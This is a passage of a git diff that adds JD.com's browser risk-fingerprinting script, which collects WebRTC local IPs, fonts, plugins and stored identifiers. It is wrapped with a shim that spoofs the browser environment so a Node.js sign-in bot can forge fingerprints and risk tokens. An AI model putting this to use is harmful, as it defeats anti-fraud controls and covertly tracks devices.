D20D85FD A50AB56B 35B5A8FA 42B2986C DBBBC9D6 ACBCF940 32D86CE3 45DF5C75 DCD60DCF ABD13D59 26D930AC 51DE003A C8D75180 BFD06116 21B4F4B5 56B3C423 CFBA9599 B8BDA50F 2802B89E 5F058808 C60CD9B2 B10BE924 2F6F7C87 58684C11 C1611DAB B6662D3D 76DC4190 01DB7106 98D220BC EFD5102A 71B18589 06B6B51F 9FBFE4A5 E8B8D433 7807C9A2 0F00F934 9609A88E E10E9818 7F6A0DBB 086D3D2D 91646C97 E6635C01 6B6B51F4 1C6C6162 856530D8 F262004E 6C0695ED 1B01A57B 8208F4C1 F50FC457 65B0D9C6 12B7E950 8BBEB8EA FCB9887C 62DD1DDF 15DA2D49 8CD37CF3 FBD44C65 4DB26158 3AB551CE A3BC0074 D4BB30E2 4ADFA541 3DD895D7 A4D1C46D D3D6F4FB 4369E96A 346ED9FC AD678846 DA60B8D0 44042D73 33031DE5 AA0A4C5F DD0D7CC9 5005713C 270241AA BE0B1010 C90C2086 5768B525 206F85B3 B966D409 CE61E49F 5EDEF90E 29D9C998 B0D09822 C7D7A8B4 59B33D17 2EB40D81 B7BD5C3B C0BA6CAD EDB88320 9ABFB3B6 03B6E20C 74B1D29A EAD54739 9DD277AF 04DB2615 73DC1683 E3630B12 94643B84 0D6D6A3E 7A6A5AA8 E40ECF0B 9309FF9D 0A00AE27 7D079EB1 F00F9344 8708A3D2 1E01F268 6906C2FE F762575D 806567CB 196C3671 6E6B06E7 FED41B76 89D32BE0 10DA7A5A 67DD4ACC F9B9DF6F 8EBEEFF9 17B7BE43 60B08ED5 D6D6A3E8 A1D1937E 38D8C2C4 4FDFF252 D1BB67F1 A6BC5767 3FB506DD 48B2364B D80D2BDA AF0A1B4C 36034AF6 41047A60 DF60EFC3 A867DF55 316E8EEF 4669BE79 CB61B38C BC66831A 256FD2A0 5268E236 CC0C7795 BB0B4703 220216B9 5505262F C5BA3BBE B2BD0B28 2BB45A92 5CB36A04 C2D7FFA7 B5D0CF31 2CD99E8B 5BDEAE1D 9B64C2B0 EC63F226 756AA39C 026D930A 9C0906A9 EB0E363F 72076785 05005713 95BF4A82 E2B87A14 7BB12BAE 0CB61B38 92D28E9B E5D5BE0D 7CDCEFB7 0BDBDF21 86D3D2D4 F1D4E242 68DDB3F8 1FDA836E 81BE16CD F6B9265B 6FB077E1 18B74777 88085AE6 FF0F6A70 66063BCA 11010B5C 8F659EFF F862AE69 616BFFD3 166CCF45 A00AE278 D70DD2EE 4E048354 3903B3C2 A7672661 D06016F7 4969474D 3E6E77DB AED16A4A D9D65ADC 40DF0B66 37D83BF0 A9BCAE53 DEBB9EC5 47B2CF7F 30B5FFE9 BDBDF21C CABAC28A 53B39330 24B4A3A6 BAD03605 CDD70693 54DE5729 23D967BF B3667A2E C4614AB8 5D681B02 2A6F2B94 B40BBE37 C30C8EA1 5A05DF1B 2D02EF8D" + .split(" ").map(function (v) { + return parseInt(v, 16) + }) + } + mac(v) { + for (var x = -1, w = 0, A = v.length; w < A; w++) x = x >>> 8 ^ t[(x ^ v.charCodeAt(w)) & 255]; + return (x ^ -1) >>> 0 + } +} +var _CurrentPageProtocol = "https:" == document.location.protocol ? "https://" : "http://", +_JdJrTdRiskDomainName = window.__fp_domain || "gia.jd.com", +_url_query_str = "", +_root_domain = "", +_CurrentPageUrl = function () { + var t = document.location.href.toString(); + try { + _root_domain = /^https?:\/\/(?:\w+\.)*?(\w*\.(?:com\.cn|cn|com|net|id))[\\\/]*/.exec(t)[1] + } catch (v) {} + var u = t.indexOf("?"); + 0 < u && (_url_query_str = t.substring(u + 1), 500 < _url_query_str.length && (_url_query_str = _url_query_str.substring( + 0, 499)), t = t.substring(0, u)); + return t = t.substring(_CurrentPageProtocol.length) +}(), +jd_shadow__ = function () { + try { + var t = JDDSecCryptoJS, + u = []; + u.push(_CurrentPageUrl); + var v = t.lib.UUID.generateUuid(); + u.push(v); + var x = (new Date).getTime(); + u.push(x); + var w = t.SHA1(u.join("")).toString().toUpperCase(); + u = []; + u.push("JD3"); + u.push(w); + var A = (new JDDMAC).mac(u.join("")); + u.push(A); + var y = t.enc.Hex.parse("30313233343536373839616263646566"), + n = t.enc.Hex.parse("4c5751554935255042304e6458323365"), + e = u.join(""); + return t.AES.encrypt(t.enc.Utf8.parse(e), n, { + mode: t.mode.CBC, + padding: t.pad.Pkcs7, + iv: y + }).ciphertext.toString(t.enc.Base32) + } catch (f) { + console.log(f) + } +}() +var td_collect = new function () { + function t() { + var n = window.webkitRTCPeerConnection || window.mozRTCPeerConnection || window.RTCPeerConnection; + if (n) { + var e = function (k) { + var g = /([0-9]{1,3}(\.[0-9]{1,3}){3})/, + m = + /\s*((([0-9A-Fa-f]{1,4}:){7}([0-9A-Fa-f]{1,4}|:))|(([0-9A-Fa-f]{1,4}:){6}(:[0-9A-Fa-f]{1,4}|((25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)(\.(25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)){3})|:))|(([0-9A-Fa-f]{1,4}:){5}(((:[0-9A-Fa-f]{1,4}){1,2})|:((25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)(\.(25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)){3})|:))|(([0-9A-Fa-f]{1,4}:){4}(((:[0-9A-Fa-f]{1,4}){1,3})|((:[0-9A-Fa-f]{1,4})?:((25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)(\.(25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)){3}))|:))|(([0-9A-Fa-f]{1,4}:){3}(((:[0-9A-Fa-f]{1,4}){1,4})|((:[0-9A-Fa-f]{1,4}){0,2}:((25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)(\.(25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)){3}))|:))|(([0-9A-Fa-f]{1,4}:){2}(((:[0-9A-Fa-f]{1,4}){1,5})|((:[0-9A-Fa-f]{1,4}){0,3}:((25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)(\.(25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)){3}))|:))|(([0-9A-Fa-f]{1,4}:){1}(((:[0-9A-Fa-f]{1,4}){1,6})|((:[0-9A-Fa-f]{1,4}){0,4}:((25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)(\.(25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)){3}))|:))|(:(((:[0-9A-Fa-f]{1,4}){1,7})|((:[0-9A-Fa-f]{1,4}){0,5}:((25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)(\.(25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)){3}))|:)))(%.+)?\s*/; + try { + var a = g.exec(k); + if (null == a || 0 == a.length || void 0 == a) a = m.exec(k); + var b = a[1]; + void 0 === f[b] && w.push(b); + f[b] = !0 + } catch (c) { } + }, + f = {}; + try { + var r = new n({ + iceServers: [{ + url: "stun:stun.services.mozilla.com" + }] + }) + } catch (k) { } + try { + void 0 === r && (r = new n({ + iceServers: [] + })) + } catch (k) { } + if (r || window.mozRTCPeerConnection) try { + r.createDataChannel("chat", { + reliable: !1 + }) + } catch (k) { } + r && (r.onicecandidate = function (k) { + k.candidate && e(k.candidate.candidate) + }, r.createOffer(function (k) { + r.setLocalDescription(k, function () { }, function () { }) + }, function () { }), setTimeout(function () { + try { + r.localDescription.sdp.split("\n").forEach(function (k) { + 0 === k.indexOf("a=candidate:") && e(k) + }) + } catch (k) { } + }, 800)) + } + } + + function u(n) { + var e; + return (e = document.cookie.match(new RegExp("(^| )" + n + "=([^;]*)(;|$)"))) ? e[2] : "" + } + + function v() { + function n(g) { + var m = {}; + r.style.fontFamily = g; + document.body.appendChild(r); + m.height = r.offsetHeight; + m.width = r.offsetWidth; + document.body.removeChild(r); + return m + } + var e = ["monospace", "sans-serif", "serif"], + f = [], + r = document.createElement("span"); + r.style.fontSize = "72px"; + r.style.visibility = "hidden"; + r.innerHTML = "mmmmmmmmmmlli"; + for (var k = 0; k < e.length; k++) f[k] = n(e[k]); + this.checkSupportFont = function (g) { + for (var m = 0; m < f.length; m++) { + var a = n(g + "," + e[m]), + b = f[m]; + if (a.height !== b.height || a.width !== b.width) return !0 + } + return !1 + } + } + + function x(n) { + var e = {}; + e.name = n.name; + e.filename = n.filename.toLowerCase(); + e.description = n.description; + void 0 !== n.version && (e.version = n.version); + e.mimeTypes = []; + for (var f = 0; f < n.length; f++) { + var r = n[f], + k = {}; + k.description = r.description; + k.suffixes = r.suffixes; + k.type = r.type; + e.mimeTypes.push(k) + } + return e + } + this.bizId = ""; + this.bioConfig = { + type: "42", + operation: 1, + duraTime: 2, + interval: 50 + }; + this.worder = null; + this.deviceInfo = { + userAgent: "", + isJdApp: !1, + isJrApp: !1, + sdkToken: "", + fp: "", + eid: "" + }; + this.isRpTok = !1; + this.obtainLocal = function (n) { + n = "undefined" !== typeof n && n ? !0 : !1; + var e = {}; + try { + var f = document.cookie.replace(/(?:(?:^|.*;\s*)3AB9D23F7A4B3C9B\s*=\s*([^;]*).*$)|^.*$/, "$1"); + 0 !== f.length && (e.cookie = f) + } catch (k) { } + try { + window.localStorage && null !== window.localStorage && 0 !== window.localStorage.length && (e.localStorage = + window.localStorage.getItem("3AB9D23F7A4B3C9B")) + } catch (k) { } + try { + window.sessionStorage && null !== window.sessionStorage && (e.sessionStorage = window.sessionStorage[ + "3AB9D23F7A4B3C9B"]) + } catch (k) { } + try { + p.globalStorage && (e.globalStorage = window.globalStorage[".localdomain"]["3AB9D23F7A4B3C9B"]) + } catch (k) { } + try { + d && "function" == typeof d.load && "function" == typeof d.getAttribute && (d.load( + "jdgia_user_data"), e.userData = d.getAttribute("3AB9D23F7A4B3C9B")) + } catch (k) { } + try { + E.indexedDbId && (e.indexedDb = E.indexedDbId) + } catch (k) { } + try { + E.webDbId && (e.webDb = E.webDbId) + } catch (k) { } + try { + for (var r in e) + if (32 < e[r].length) { + _JdEid = e[r]; + n || (_eidFlag = !0); + break + } + } catch (k) { } + try { + ("undefined" === typeof _JdEid || 0 >= _JdEid.length) && this.db("3AB9D23F7A4B3C9B"); + if ("undefined" === typeof _JdEid || 0 >= _JdEid.length) _JdEid = u("3AB9D23F7A4B3C9B"); + if ("undefined" === typeof _JdEid || 0 >= _JdEid.length) _eidFlag = !0 + } catch (k) { } + return _JdEid + }; + var w = [], + A = + "Abadi MT Condensed Light;Adobe Fangsong Std;Adobe Hebrew;Adobe Ming Std;Agency FB;Arab;Arabic Typesetting;Arial Black;Batang;Bauhaus 93;Bell MT;Bitstream Vera Serif;Bodoni MT;Bookman Old Style;Braggadocio;Broadway;Calibri;Californian FB;Castellar;Casual;Centaur;Century Gothic;Chalkduster;Colonna MT;Copperplate Gothic Light;DejaVu LGC Sans Mono;Desdemona;DFKai-SB;Dotum;Engravers MT;Eras Bold ITC;Eurostile;FangSong;Forte;Franklin Gothic Heavy;French Script MT;Gabriola;Gigi;Gisha;Goudy Old Style;Gulim;GungSeo;Haettenschweiler;Harrington;Hiragino Sans GB;Impact;Informal Roman;KacstOne;Kino MT;Kozuka Gothic Pr6N;Lohit Gujarati;Loma;Lucida Bright;Lucida Fax;Magneto;Malgun Gothic;Matura MT Script Capitals;Menlo;MingLiU-ExtB;MoolBoran;MS PMincho;MS Reference Sans Serif;News Gothic MT;Niagara Solid;Nyala;Palace Script MT;Papyrus;Perpetua;Playbill;PMingLiU;Rachana;Rockwell;Sawasdee;Script MT Bold;Segoe Print;Showcard Gothic;SimHei;Snap ITC;TlwgMono;Tw Cen MT Condensed Extra Bold;Ubuntu;Umpush;Univers;Utopia;Vladimir Script;Wide Latin" + .split(";"), + y = + "4game;AdblockPlugin;AdobeExManCCDetect;AdobeExManDetect;Alawar NPAPI utils;Aliedit Plug-In;Alipay Security Control 3;AliSSOLogin plugin;AmazonMP3DownloaderPlugin;AOL Media Playback Plugin;AppUp;ArchiCAD;AVG SiteSafety plugin;Babylon ToolBar;Battlelog Game Launcher;BitCometAgent;Bitdefender QuickScan;BlueStacks Install Detector;CatalinaGroup Update;Citrix ICA Client;Citrix online plug-in;Citrix Receiver Plug-in;Coowon Update;DealPlyLive Update;Default Browser Helper;DivX Browser Plug-In;DivX Plus Web Player;DivX VOD Helper Plug-in;doubleTwist Web Plugin;Downloaders plugin;downloadUpdater;eMusicPlugin DLM6;ESN Launch Mozilla Plugin;ESN Sonar API;Exif Everywhere;Facebook Plugin;File Downloader Plug-in;FileLab plugin;FlyOrDie Games Plugin;Folx 3 Browser Plugin;FUZEShare;GDL Object Web Plug-in 16.00;GFACE Plugin;Ginger;Gnome Shell Integration;Google Earth Plugin;Google Earth Plug-in;Google Gears 0.5.33.0;Google Talk Effects Plugin;Google Update;Harmony Firefox Plugin;Harmony Plug-In;Heroes & Generals live;HPDetect;Html5 location provider;IE Tab plugin;iGetterScriptablePlugin;iMesh plugin;Kaspersky Password Manager;LastPass;LogMeIn Plugin 1.0.0.935;LogMeIn Plugin 1.0.0.961;Ma-Config.com plugin;Microsoft Office 2013;MinibarPlugin;Native Client;Nitro PDF Plug-In;Nokia Suite Enabler Plugin;Norton Identity Safe;npAPI Plugin;NPLastPass;NPPlayerShell;npTongbuAddin;NyxLauncher;Octoshape Streaming Services;Online Storage plug-in;Orbit Downloader;Pando Web Plugin;Parom.TV player plugin;PDF integrado do WebKit;PDF-XChange Viewer;PhotoCenterPlugin1.1.2.2;Picasa;PlayOn Plug-in;QQ2013 Firefox Plugin;QQDownload Plugin;QQMiniDL Plugin;QQMusic;RealDownloader Plugin;Roblox Launcher Plugin;RockMelt Update;Safer Update;SafeSearch;Scripting.Dictionary;SefClient Plugin;Shell.UIHelper;Silverlight Plug-In;Simple Pass;Skype Web Plugin;SumatraPDF Browser Plugin;Symantec PKI Client;Tencent FTN plug-in;Thunder DapCtrl NPAPI Plugin;TorchHelper;Unity Player;Uplay PC;VDownloader;Veetle TV Core;VLC Multimedia Plugin;Web Components;WebKit-integrierte PDF;WEBZEN Browser Extension;Wolfram Mathematica;WordCaptureX;WPI Detector 1.4;Yandex Media Plugin;Yandex PDF Viewer;YouTube Plug-in;zako" + .split(";"); + this.toJson = "object" === typeof JSON && JSON.stringify; + this.init = function () { + _fingerprint_step = 6; + t(); + _fingerprint_step = 7; + "function" !== typeof this.toJson && (this.toJson = function (n) { + var e = typeof n; + if ("undefined" === e || null === n) return "null"; + if ("number" === e || "boolean" === e) return n + ""; + if ("object" === e && n && n.constructor === Array) { + e = []; + for (var f = 0; n.length > f; f++) e.push(this.toJson(n[f])); + return "[" + (e + "]") + } + if ("object" === e) { + e = []; + for (f in n) n.hasOwnProperty(f) && e.push('"' + f + '":' + this.toJson(n[f])); + return "{" + (e + "}") + } + }); + this.sdkCollectInit() + }; + this.sdkCollectInit = function () { + try { + try { + bp_bizid && (this.bizId = bp_bizid) + } catch (f) { + this.bizId = "jsDefault" + } + var n = navigator.userAgent.toLowerCase(), + e = !n.match(/(iphone|ipad|ipod)/i) && (-1 < n.indexOf("android") || -1 < n.indexOf("adr")); + this.deviceInfo.isJdApp = -1 < n.indexOf("jdapp"); + this.deviceInfo.isJrApp = -1 < n.indexOf("jdjr"); + this.deviceInfo.userAgent = navigator.userAgent; + this.deviceInfo.isAndroid = e; + this.createWorker() + } catch (f) { } + }; + this.db = function (n, e) { + try { + _fingerprint_step = "m"; + if (window.openDatabase) { + var f = window.openDatabase("sqlite_jdtdstorage", "", "jdtdstorage", 1048576); + void 0 !== e && "" != e ? f.transaction(function (r) { + r.executeSql( + "CREATE TABLE IF NOT EXISTS cache(id INTEGER NOT NULL PRIMARY KEY AUTOINCREMENT, name TEXT NOT NULL, value TEXT NOT NULL, UNIQUE (name))", + [], + function (k, g) { }, + function (k, g) { }); + r.executeSql("INSERT OR REPLACE INTO cache(name, value) VALUES(?, ?)", [n, e], + function (k, g) { }, + function (k, g) { }) + }) : f.transaction(function (r) { + r.executeSql("SELECT value FROM cache WHERE name=?", [n], function (k, g) { + 1 <= g.rows.length && (_JdEid = g.rows.item(0).value) + }, function (k, g) { }) + }) + } + _fingerprint_step = "n" + } catch (r) { } + }; + this.setCookie = function (n, e) { + void 0 !== e && "" != e && (document.cookie = n + "=" + e + + "; expires=Tue, 31 Dec 2030 00:00:00 UTC; path=/; domain=" + _root_domain) + }; + this.tdencrypt = function (n) { + n = this.toJson(n); + n = encodeURIComponent(n); + var e = "", + f = 0; + do { + var r = n.charCodeAt(f++); + var k = n.charCodeAt(f++); + var g = n.charCodeAt(f++); + var m = r >> 2; + r = (r & 3) << 4 | k >> 4; + var a = (k & 15) << 2 | g >> 6; + var b = g & 63; + isNaN(k) ? a = b = 64 : isNaN(g) && (b = 64); + e = e + "23IL k; k++) C = q[k], void 0 !== screen[C] && (z[C] = screen[C]); + q = ["devicePixelRatio", "screenTop", "screenLeft"]; + l = {}; + for (k = 0; q.length > k; k++) C = q[k], void 0 !== window[C] && (l[C] = window[C]); + e.p = h; + e.w = l; + e.s = z; + e.sc = f; + e.tz = n.getTimezoneOffset(); + e.lil = w.sort().join("|"); + e.wil = ""; + f = {}; + try { + f.cookie = navigator.cookieEnabled, f.localStorage = !!window.localStorage, f.sessionStorage = !! + window.sessionStorage, f.globalStorage = !!window.globalStorage, f.indexedDB = !!window.indexedDB + } catch (D) { } + e.ss = f; + e.ts.deviceTime = n.getTime(); + e.ts.deviceEndTime = (new Date).getTime(); + return this.tdencrypt(e) + }; + this.collectSdk = function (n) { + try { + var e = this, + f = !1, + r = e.getLocal("BATQW722QTLYVCRD"); + if (null != r && void 0 != r && "" != r) try { + var k = JSON.parse(r), + g = (new Date).getTime(); + null != k && void 0 != k.t && "number" == typeof k.t && (12E5 >= g - k.t && void 0 != k.tk && + null != k.tk && "" != k.tk && k.tk.startsWith("jdd") ? (e.deviceInfo.sdkToken = k.tk, + f = !0) : void 0 != k.tk && null != k.tk && "" != k.tk && (e.deviceInfo.sdkToken = + k.tk)) + } catch (m) { } + r = !1; + e.deviceInfo.isJdApp ? (e.deviceInfo.clientVersion = navigator.userAgent.split(";")[2], (r = 0 < e.compareVersion( + e.deviceInfo.clientVersion, "7.0.2")) && !f && e.getJdSdkCacheToken(function (m) { + e.deviceInfo.sdkToken = m; + null != m && "" != m && m.startsWith("jdd") || e.getJdBioToken(n) + })) : e.deviceInfo.isJrApp && (e.deviceInfo.clientVersion = navigator.userAgent.match( + /clientVersion=([^&]*)(&|$)/)[1], (r = 0 < e.compareVersion(e.deviceInfo.clientVersion, + "4.6.0")) && !f && e.getJdJrSdkCacheToken(function (m) { + e.deviceInfo.sdkToken = m; + null != m && "" != m && m.startsWith("jdd") || e.getJdJrBioToken(n) + })); + "function" == typeof n && n(e.deviceInfo) + } catch (m) { } + }; + this.compareVersion = function (n, e) { + try { + if (n === e) return 0; + var f = n.split("."); + var r = e.split("."); + for (n = 0; n < f.length; n++) { + var k = parseInt(f[n]); + if (!r[n]) return 1; + var g = parseInt(r[n]); + if (k < g) break; + if (k > g) return 1 + } + } catch (m) { } + return -1 + }; + this.isWKWebView = function () { + return this.deviceInfo.userAgent.match(/supportJDSHWK/i) || 1 == window._is_jdsh_wkwebview ? !0 : !1 + }; + this.getErrorToken = function (n) { + try { + if (n) { + var e = (n + "").match(/"token":"(.*?)"/); + if (e && 1 < e.length) return e[1] + } + } catch (f) { } + return "" + }; + this.getJdJrBioToken = function (n) { + var e = this; + "undefined" != typeof JrBridge && null != JrBridge && "undefined" != typeof JrBridge._version && (0 > e + .compareVersion(JrBridge._version, "2.0.0") ? console.error( + "\u6865\u7248\u672c\u4f4e\u4e8e2.0\u4e0d\u652f\u6301bio") : JrBridge.callNative({ + type: e.bioConfig.type, + operation: e.bioConfig.operation, + biometricData: { + bizId: e.bizId, + duraTime: e.bioConfig.duraTime, + interval: e.bioConfig.interval + } + }, function (f) { + try { + "object" != typeof f && (f = JSON.parse(f)), e.deviceInfo.sdkToken = f.token + } catch (r) { + console.error(r) + } + null != e.deviceInfo.sdkToken && "" != e.deviceInfo.sdkToken && (f = { + tk: e.deviceInfo.sdkToken, + t: (new Date).getTime() + }, e.store("BATQW722QTLYVCRD", JSON.stringify(f))) + })) + }; + this.getJdJrSdkCacheToken = function (n) { + var e = this; + try { + "undefined" == typeof JrBridge || null == JrBridge || "undefined" == typeof JrBridge._version || 0 > + e.compareVersion(JrBridge._version, "2.0.0") || JrBridge.callNative({ + type: e.bioConfig.type, + operation: 5, + biometricData: { + bizId: e.bizId, + duraTime: e.bioConfig.duraTime, + interval: e.bioConfig.interval + } + }, function (f) { + var r = ""; + try { + "object" != typeof f && (f = JSON.parse(f)), r = f.token + } catch (k) { + console.error(k) + } + null != r && "" != r && "function" == typeof n && (n(r), r.startsWith("jdd") && (f = { + tk: r, + t: (new Date).getTime() + }, e.store("BATQW722QTLYVCRD", JSON.stringify(f)))) + }) + } catch (f) { } + }; + this.getJdBioToken = function (n) { + var e = this; + n = JSON.stringify({ + businessType: "bridgeBiologicalProbe", + callBackName: "_bioDeviceCb", + params: { + pin: "", + jsonData: { + type: e.bioConfig.type, + operation: e.bioConfig.operation, + data: { + bizId: e.bizId, + duraTime: e.bioConfig.duraTime, + interval: e.bioConfig.interval + }, + biometricData: { + bizId: e.bizId, + duraTime: e.bioConfig.duraTime, + interval: e.bioConfig.interval + } + } + } + }); + e.isWKWebView() ? window.webkit.messageHandlers.JDAppUnite.postMessage({ + method: "notifyMessageToNative", + params: n + }) : window.JDAppUnite && window.JDAppUnite.notifyMessageToNative(n); + window._bioDeviceCb = function (f) { + try { + var r = "object" == typeof f ? f : JSON.parse(f); + if (void 0 != r && null != r && "0" != r.status) return; + null != r.data.token && void 0 != r.data.token && "" != r.data.token && (e.deviceInfo.sdkToken = + r.data.token) + } catch (k) { + f = e.getErrorToken(f), null != f && "" != f && (e.deviceInfo.sdkToken = f) + } + null != e.deviceInfo.sdkToken && "" != e.deviceInfo.sdkToken && (f = { + tk: e.deviceInfo.sdkToken, + t: (new Date).getTime() + }, e.store("BATQW722QTLYVCRD", JSON.stringify(f))) + } + }; + this.getJdSdkCacheToken = function (n) { + try { + var e = this, + f = JSON.stringify({ + businessType: "bridgeBiologicalProbe", + callBackName: "_bioDeviceSdkCacheCb", + params: { + pin: "", + jsonData: { + type: e.bioConfig.type, + operation: 5, + data: { + bizId: e.bizId, + duraTime: e.bioConfig.duraTime, + interval: e.bioConfig.interval + }, + biometricData: { + bizId: e.bizId, + duraTime: e.bioConfig.duraTime, + interval: e.bioConfig.interval + } + } + } + }); + e.isWKWebView() ? window.webkit.messageHandlers.JDAppUnite.postMessage({ + method: "notifyMessageToNative", + params: f + }) : window.JDAppUnite && window.JDAppUnite.notifyMessageToNative(f); + window._bioDeviceSdkCacheCb = function (r) { + var k = ""; + try { + var g = "object" == typeof r ? r : JSON.parse(r); + if (void 0 != g && null != g && "0" != g.status) return; + k = g.data.token + } catch (m) { + k = e.getErrorToken(r) + } + null != k && "" != k && "function" == typeof n && (n(k), k.startsWith("jdd") && (r = { + tk: k, + t: (new Date).getTime() + }, e.store("BATQW722QTLYVCRD", JSON.stringify(r)))) + } + } catch (r) { } + }; + this.store = function (n, e) { + try { + this.setCookie(n, e) + } catch (f) { } + try { + window.localStorage && window.localStorage.setItem(n, e) + } catch (f) { } + try { + window.sessionStorage && window.sessionStorage.setItem(n, e) + } catch (f) { } + try { + window.globalStorage && window.globalStorage[".localdomain"].setItem(n, e) + } catch (f) { } + try { + this.db(n, _JdEid) + } catch (f) { } + }; + this.getLocal = function (n) { + var e = {}, + f = null; + try { + var r = document.cookie.replace(new RegExp("(?:(?:^|.*;\\s*)" + n + "\\s*\\=\\s*([^;]*).*$)|^.*$"), + "$1"); + 0 !== r.length && (e.cookie = r) + } catch (g) { } + try { + window.localStorage && null !== window.localStorage && 0 !== window.localStorage.length && (e.localStorage = + window.localStorage.getItem(n)) + } catch (g) { } + try { + window.sessionStorage && null !== window.sessionStorage && (e.sessionStorage = window.sessionStorage[ + n]) + } catch (g) { } + try { + p.globalStorage && (e.globalStorage = window.globalStorage[".localdomain"][n]) + } catch (g) { } + try { + d && "function" == typeof d.load && "function" == typeof d.getAttribute && (d.load( + "jdgia_user_data"), e.userData = d.getAttribute(n)) + } catch (g) { } + try { + E.indexedDbId && (e.indexedDb = E.indexedDbId) + } catch (g) { } + try { + E.webDbId && (e.webDb = E.webDbId) + } catch (g) { } + try { + for (var k in e) + if (32 < e[k].length) { + f = e[k]; + break + } + } catch (g) { } + try { + if (null == f || "undefined" === typeof f || 0 >= f.length) f = u(n) + } catch (g) { } + return f + }; + this.createWorker = function () { + if (window.Worker) { + try { + var n = new Blob([ + "onmessage = function (event) {\n var data = JSON.parse(event.data);\n try {\n var httpRequest;\n try {\n httpRequest = new XMLHttpRequest();\n } catch (h) {}\n if (!httpRequest)\n try {\n httpRequest = new (window['ActiveXObject'])('Microsoft.XMLHTTP')\n } catch (l) {}\n if (!httpRequest)\n try {\n httpRequest = new (window['ActiveXObject'])('Msxml2.XMLHTTP')\n } catch (r) {}\n if (!httpRequest)\n try {\n httpRequest = new (window['ActiveXObject'])('Msxml3.XMLHTTP')\n } catch (n) {}\n\n if(data){\n httpRequest['open']('POST', data.url, false);\n httpRequest['setRequestHeader']('Content-Type', 'application/x-www-form-urlencoded;charset=UTF-8');\n httpRequest['onreadystatechange'] = function () {\n if (4 === httpRequest['readyState'] && 200 === httpRequest['status']) {\n postMessage(httpRequest.responseText);\n }\n };\n httpRequest['send'](data.data);\n }\n\n }catch (e){console.error(e);}\n};" + ], { + type: "application/javascript" + }) + } catch (e) { + window.BlobBuilder = window.BlobBuilder || window.WebKitBlobBuilder || window.MozBlobBuilder, n = + new BlobBuilder, n.append( + "onmessage = function (event) {\n var data = JSON.parse(event.data);\n try {\n var httpRequest;\n try {\n httpRequest = new XMLHttpRequest();\n } catch (h) {}\n if (!httpRequest)\n try {\n httpRequest = new (window['ActiveXObject'])('Microsoft.XMLHTTP')\n } catch (l) {}\n if (!httpRequest)\n try {\n httpRequest = new (window['ActiveXObject'])('Msxml2.XMLHTTP')\n } catch (r) {}\n if (!httpRequest)\n try {\n httpRequest = new (window['ActiveXObject'])('Msxml3.XMLHTTP')\n } catch (n) {}\n\n if(data){\n httpRequest['open']('POST', data.url, false);\n httpRequest['setRequestHeader']('Content-Type', 'application/x-www-form-urlencoded;charset=UTF-8');\n httpRequest['onreadystatechange'] = function () {\n if (4 === httpRequest['readyState'] && 200 === httpRequest['status']) {\n postMessage(httpRequest.responseText);\n }\n };\n httpRequest['send'](data.data);\n }\n\n }catch (e){console.error(e);}\n};" + ), n = n.getBlob() + } + try { + this.worker = new Worker(URL.createObjectURL(n)) + } catch (e) { } + } + }; + this.reportWorker = function (n, e, f, r) { + try { + null != this.worker && (this.worker.postMessage(JSON.stringify({ + url: n, + data: e, + success: !1, + async: !1 + })), this.worker.onmessage = function (k) { }) + } catch (k) { } + } +}; + +function td_collect_exe() { + _fingerprint_step = 8; + var t = td_collect.collect(); + td_collect.collectSdk(); + var u = "string" === typeof orderId ? orderId : "", + v = "undefined" !== typeof jdfp_pinenp_ext && jdfp_pinenp_ext ? 2 : 1; + u = { + pin: _jdJrTdCommonsObtainPin(v), + oid: u, + p: "https:" == document.location.protocol ? "s" : "h", + fp: risk_jd_local_fingerprint, + ctype: v, + v: "2.7.10.4", + f: "3" + }; + try { + u.o = _CurrentPageUrl, u.qs = _url_query_str + } catch (w) { } + _fingerprint_step = 9; + 0 >= _JdEid.length && (_JdEid = td_collect.obtainLocal(), 0 < _JdEid.length && (_eidFlag = !0)); + u.fc = _JdEid; + try { + u.t = jd_risk_token_id + } catch (w) { } + try { + if ("undefined" != typeof gia_fp_qd_uuid && 0 <= gia_fp_qd_uuid.length) u.qi = gia_fp_qd_uuid; + else { + var x = _JdJrRiskClientStorage.jdtdstorage_cookie("qd_uid"); + u.qi = void 0 == x ? "" : x + } + } catch (w) { } + "undefined" != typeof jd_shadow__ && 0 < jd_shadow__.length && (u.jtb = jd_shadow__); + try { + td_collect.deviceInfo && void 0 != td_collect.deviceInfo && null != td_collect.deviceInfo.sdkToken && "" != + td_collect.deviceInfo.sdkToken ? (u.stk = td_collect.deviceInfo.sdkToken, td_collect.isRpTok = !0) : + td_collect.isRpTok = !1 + } catch (w) { + td_collect.isRpTok = !1 + } + x = td_collect.tdencrypt(u); + // console.log(u) + return { a: x, d: t } +} + +function _jdJrTdCommonsObtainPin(t) { + var u = ""; + "string" === typeof jd_jr_td_risk_pin && 1 == t ? u = jd_jr_td_risk_pin : "string" === typeof pin ? u = pin : + "object" === typeof pin && "string" === typeof jd_jr_td_risk_pin && (u = jd_jr_td_risk_pin); + return u +}; + +function getBody(url = document.location.href) { + navigator.userAgent = UA + let href = url + let choose = /((https?:)\/\/([^\/]+))(.+)/.exec(url) + let [, origin, protocol, host, pathname] = choose; + document.location.href = href + document.location.origin = origin + document.location.protocol = protocol + document.location.host = host + document.location.pathname = pathname + const JF = new JdJrTdRiskFinger(); + let fp = JF.f.get(function (t) { + risk_jd_local_fingerprint = t + return t + }); + let arr = td_collect_exe() + return { fp, ...arr } +} + +JdJrTdRiskFinger.getBody = getBody; +module.exports = JdJrTdRiskFinger; \ No newline at end of file diff --git a/JD_DailyBonus.js b/JD_DailyBonus.js new file mode 100644 index 0000000..ea89541 --- /dev/null +++ b/JD_DailyBonus.js @@ -0,0 +1,1930 @@ +/* + +京东多合一签到脚本 + +更新时间: 2021.08.15 19:00 v2.1.0 +有效接口: 20+ +脚本兼容: QuantumultX, Surge, Loon, JSBox, Node.js +电报频道: @NobyDa +问题反馈: @NobyDa_bot +如果转载: 请注明出处 + 